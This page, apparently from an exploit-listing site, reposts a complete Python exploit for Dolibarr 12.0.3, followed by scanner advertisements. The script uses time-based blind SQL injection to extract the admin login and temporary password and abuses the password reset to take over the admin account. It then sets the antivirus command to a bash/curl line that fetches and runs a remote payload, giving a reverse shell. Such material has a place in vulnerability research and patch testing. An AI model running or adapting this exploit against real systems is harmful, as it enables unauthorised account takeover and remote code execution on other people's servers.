dolibarr 12.0.3 sqli to rce

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




dolibarr 12.0.3 sqli to rce Code Code...
				
# Exploit Title: Dolibarr 12.0.3 - SQLi to RCE # Date: 2/12/2020 # Exploit Author: coiffeur # Write Up: https://therealcoiffeur.github.io/c10010, https://therealcoiffeur.github.io/c10011 # Vendor Homepage: https://www.dolibarr.org/ # Software Link: https://www.dolibarr.org/downloads.php, https://sourceforge.net/projects/dolibarr/files/Dolibarr%20ERP-CRM/12.0.3/ # Version: 12.0.3 import argparse import binascii import random import re from io import BytesIO from urllib.parse import quote_plus as qp import bcrypt import pytesseract import requests from bs4 import BeautifulSoup from PIL import Image DELTA = None DEBUG = 1 SESSION = requests.session() TRESHOLD = 0.80 DELAY = 1 LIKE = "%_subscription" COLUMNS = ["login", "pass_temp"] def usage(): banner = """NAME: Dolibarr SQLi to RCE (authenticate) SYNOPSIS: python3 sqli_to_rce_12.0.3.py -t <BASE_URL> -u <USERNAME> -p <PAS= SWORD> EXAMPLE: python3 sqli_to_rce_12.0.3.py -t "http://127.0.0.1/projects/dolibarr/12= .0.3/htdocs/" -u test -p test AUTHOR: coiffeur """ print(banner) exit(-1) def hex(text): return "0x" + binascii.hexlify(text.encode()).decode() def hash(password): salt = bcrypt.gensalt() hashed = bcrypt.hashpw(password.encode(), salt) return hashed.decode() def authenticate(url, username, password): datas = { "actionlogin": "login", "loginfunction": "loginfunction", "username": username, "password": password } r = SESSION.post(f"{url}index.php", data=datas, allow_redirects=False, verify=False) if r.status_code != 302: if DEBUG: print(f"[x] Authentication failed!") return 0 if DEBUG: print(f" [*] Authenticated as: {username}") return 1 def get_antispam_code(base_url): code = "" while len(code) != 5: r = SESSION.get(f"{base_url}core/antispamimage.php", verify=False) temp_image = f"/tmp/{random.randint(0000,9999)}" with open(temp_image, "wb") as f: f.write(r.content) with open(temp_image, "rb") as f: code = pytesseract.image_to_string( Image.open(BytesIO(f.read()))).split("\n")[0] for char in code: if char not in "aAbBCDeEFgGhHJKLmMnNpPqQRsStTuVwWXYZz2345679": code = "" break return code def reset_password(url, login): for _ in range(5): code = get_antispam_code(url) headers = { "Referer": f"{url}user/passwordforgotten.php" } datas = { "action": "buildnewpassword", "username": login, "code": code } r = SESSION.post(url=f"{url}user/passwordforgotten.php", data=datas, headers=headers, verify=False) if r.status_code == 200: for response in [f"Request to change password for {login} sent = to", f"Demande de changement de mot de passe pour {login} envoy=C3=A9e"]: if r.text.find(response): if DEBUG: print(f" [*] Password reset using code: {code}") return 1 return 0 def change_password(url, login, pass_temp): r = requests.get(url=f"{url}user/passwordforgotten.php?action=val= idatenewpassword&username={qp(login)}&passwordhash={hash(pass_temp)}", allow_redirects=False, verify=False) if r.status_code == 302: if DEBUG: print(f" [*] Password changed: {pass_temp}") return 1 return 0 def change_binary(url, command, parameters): headers = { "Referer": f"{url}admin/security_file.php" } datas = { "action": "updateform", "MAIN_UPLOAD_DOC": "2048", "MAIN_UMASK": "0664", "MAIN_ANTIVIRUS_COMMAND": command, "MAIN_ANTIVIRUS_PARAM": parameters } r = SESSION.post(url=f"{url}admin/security_file.php", data=datas, headers=headers, verify=False) if r.status_code == 200: for response in ["Record modified successfully", "Enregistrement mo= difi=C3=A9 avec succ=C3=A8s"]: if response in r.text: if DEBUG: print(f" [*] Binary's path changed") return 1 return 0 def trigger_exploit(url): headers = { "Referer": f"{url}admin/security_file.php" } files = { "userfile[]": open("junk.txt", "rb"), } datas = { "sendit": "Upload" } if DEBUG: print(f" [*] Triggering reverse shell") r = SESSION.post(url=f"{url}admin/security_file.php", files=files, data=datas, headers=headers, verify=False) if r.status_code == 200: for response in ["File(s) uploaded successfully", "The antivirus pr= ogram was not able to validate the file (file might be infected by a virus)= ", "Fichier(s) t=C3=A9l=C3=A9vers=C3=A9s(s) avec succ=C3=A8s", "L'antivirus= n'a pas pu valider ce fichier (il est probablement infect=C3=A9 par un vir= us) !"]: if response in r.text: if DEBUG: print(f" [*] Exploit done") return 1 return 0 def get_version(url): r = SESSION.get(f"{url}index.php", verify=False) x = re.findall( r"Version Dolibarr [0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}", r.text) if x: version = x[0] if "12.0.3" in version: if DEBUG: print(f" [*] {version} (exploit should work)") return 1 if DEBUG: print(f"[*] Version may not be vulnerable") return 0 def get_privileges(url): r = SESSION.get(f"{url}index.php", verify=False) x = re.findall(r"id=\d", r.text) if x: id = x[0] if DEBUG: print(f" [*] id found: {id}") r = SESSION.get(f"{url}user/perms.php?{id}", verify=False) soup = BeautifulSoup(r.text, 'html.parser') for img in soup.find_all("img"): if img.get("title") in ["Actif", "Active"]: for td in img.parent.parent.find_all("td"): privileges = [ "Consulter les commandes clients", "Read customers = orders"] for privilege in privileges: if privilege in td: if DEBUG: print( f" [*] Check privileges: {privilege}= ") return 1 if DEBUG: print(f"[*] At the sight of the privileges, the exploit may fail") return 0 def check(url, payload): headers = { "Referer": f"{url}commande/stats/index.php?leftmenu=orders" } datas = {"object_status": payload} r = SESSION.post(url=f"{url}commande/stats/index.php", data=datas, headers=headers, verify=False) return r.elapsed.total_seconds() def evaluate_delay(url): global DELTA deltas = [] payload = f"IF(0<1, SLEEP({DELAY}), SLEEP(0))" for _ in range(4): deltas.append(check(url, payload)) DELTA = sum(deltas)/len(deltas) if DEBUG: print(f" [+] Delta: {DELTA}") def get_tbl_name_len(url): i = 0 while 1: payload = f"IF((SELECT LENGTH(table_name) FROM information_schema= .tables WHERE table_name LIKE {hex(LIKE)})>{i}, SLEEP(0), SLEEP({DELAY}))" if check(url, payload) >= DELTA*TRESHOLD: return i if i > 100: print(f"[x] Exploit failed") exit(-1) i += 1 def get_tbl_name(url, length): tbl_name = "" for i in range(1, length+1): min, max = 0, 127-1 while min < max: mid = (max + min) // 2 payload = f"IF((SELECT ASCII(SUBSTR(table_name,{i},1)) FROM i= nformation_schema.tables WHERE table_name LIKE {hex(LIKE)})<={mid}, SLEEP= ({DELAY}), SLEEP(0))" if check(url, payload) >= DELTA*TRESHOLD: max = mid else: min = mid + 1 tbl_name += chr(min) return tbl_name def get_elt_len(url, tbl_name, column_name): i = 0 while 1: payload = f"IF((SELECT LENGTH({column_name}) FROM {tbl_name} LIMI= T 1)>{i}, SLEEP(0), SLEEP({DELAY}))" if check(url, payload) >= DELTA*TRESHOLD: return i if i > 100: print(f"[x] Exploit failed") exit(-1) i += 1 def get_elt(url, tbl_name, column_name, length): elt = "" for i in range(1, length+1): min, max = 0, 127-1 while min < max: mid = (max + min) // 2 payload = f"IF((SELECT ASCII(SUBSTR({column_name},{i},1)) FRO= M {tbl_name} LIMIT 1)<={mid} , SLEEP({DELAY}), SLEEP(0))" if check(url, payload) >= DELTA*TRESHOLD: max = mid else: min = mid + 1 elt += chr(min) return elt def get_row(url, tbl_name): print(f" [*] Dump admin's infos from {tbl_name}") infos = {} for column_name in COLUMNS: elt_length = get_elt_len(url, tbl_name, column_name) infos[column_name] = get_elt(url, tbl_name, column_name, elt_leng= th) if DEBUG: print(f" [+] Infos: {infos}") return infos def main(url, username, password): # Check if exploit is possible print(f"[*] Requirements:") if not authenticate(url, username, password): print(f"[x] Exploit failed!") exit(-1) get_version(url) get_privileges(url) print(f"\n[*] Starting exploit:") # Evaluate delay evaluate_delay(url) print(f" [*] Extract prefix (using table: {LIKE})") tbl_name_len = get_tbl_name_len(url) tbl_name = get_tbl_name(url, tbl_name_len) prefix = f"{tbl_name.split('_')[0]}_" if DEBUG: print(f" [+] Prefix: {prefix}") # Dump admin's infos user_table_name = f"{prefix}user" infos = get_row(url, user_table_name) if not infos["login"]: print(f"[x] Exploit failed!") exit(-1) # Reset admin's passworrd if DEBUG: print(f" [*] Reseting {infos['login']}'s password") if not reset_password(url, infos["login"]): print(f"[x] Exploit failed!") exit(-1) infos = get_row(url, user_table_name) # Remove cookies to logout # Change admin's password # Login as admin SESSION.cookies.clear() if not change_password(url, infos['login'], infos['pass_temp']): print(f"[x] Exploit failed!") exit(-1) authenticate(url, infos['login'], infos['pass_temp']) # Change antivirus's binary path # Trigger reverse shell change_binary(url, "bash", '-c "$(curl http://127.0.0.1:8000/poc.txt)"'= ) trigger_exploit(url) return 0 if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-t", help="Base URL of Dolibarr") parser.add_argument("-u", help="Username") parser.add_argument("-p", help="Password") args = parser.parse_args() if not args.t or not args.u or not args.p: usage() main(args.t, args.u, args.p)

Dolibarr 12.0.3 sqli to rce Vulnerability / Exploit Source : Dolibarr 12.0.3 sqli to rce



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.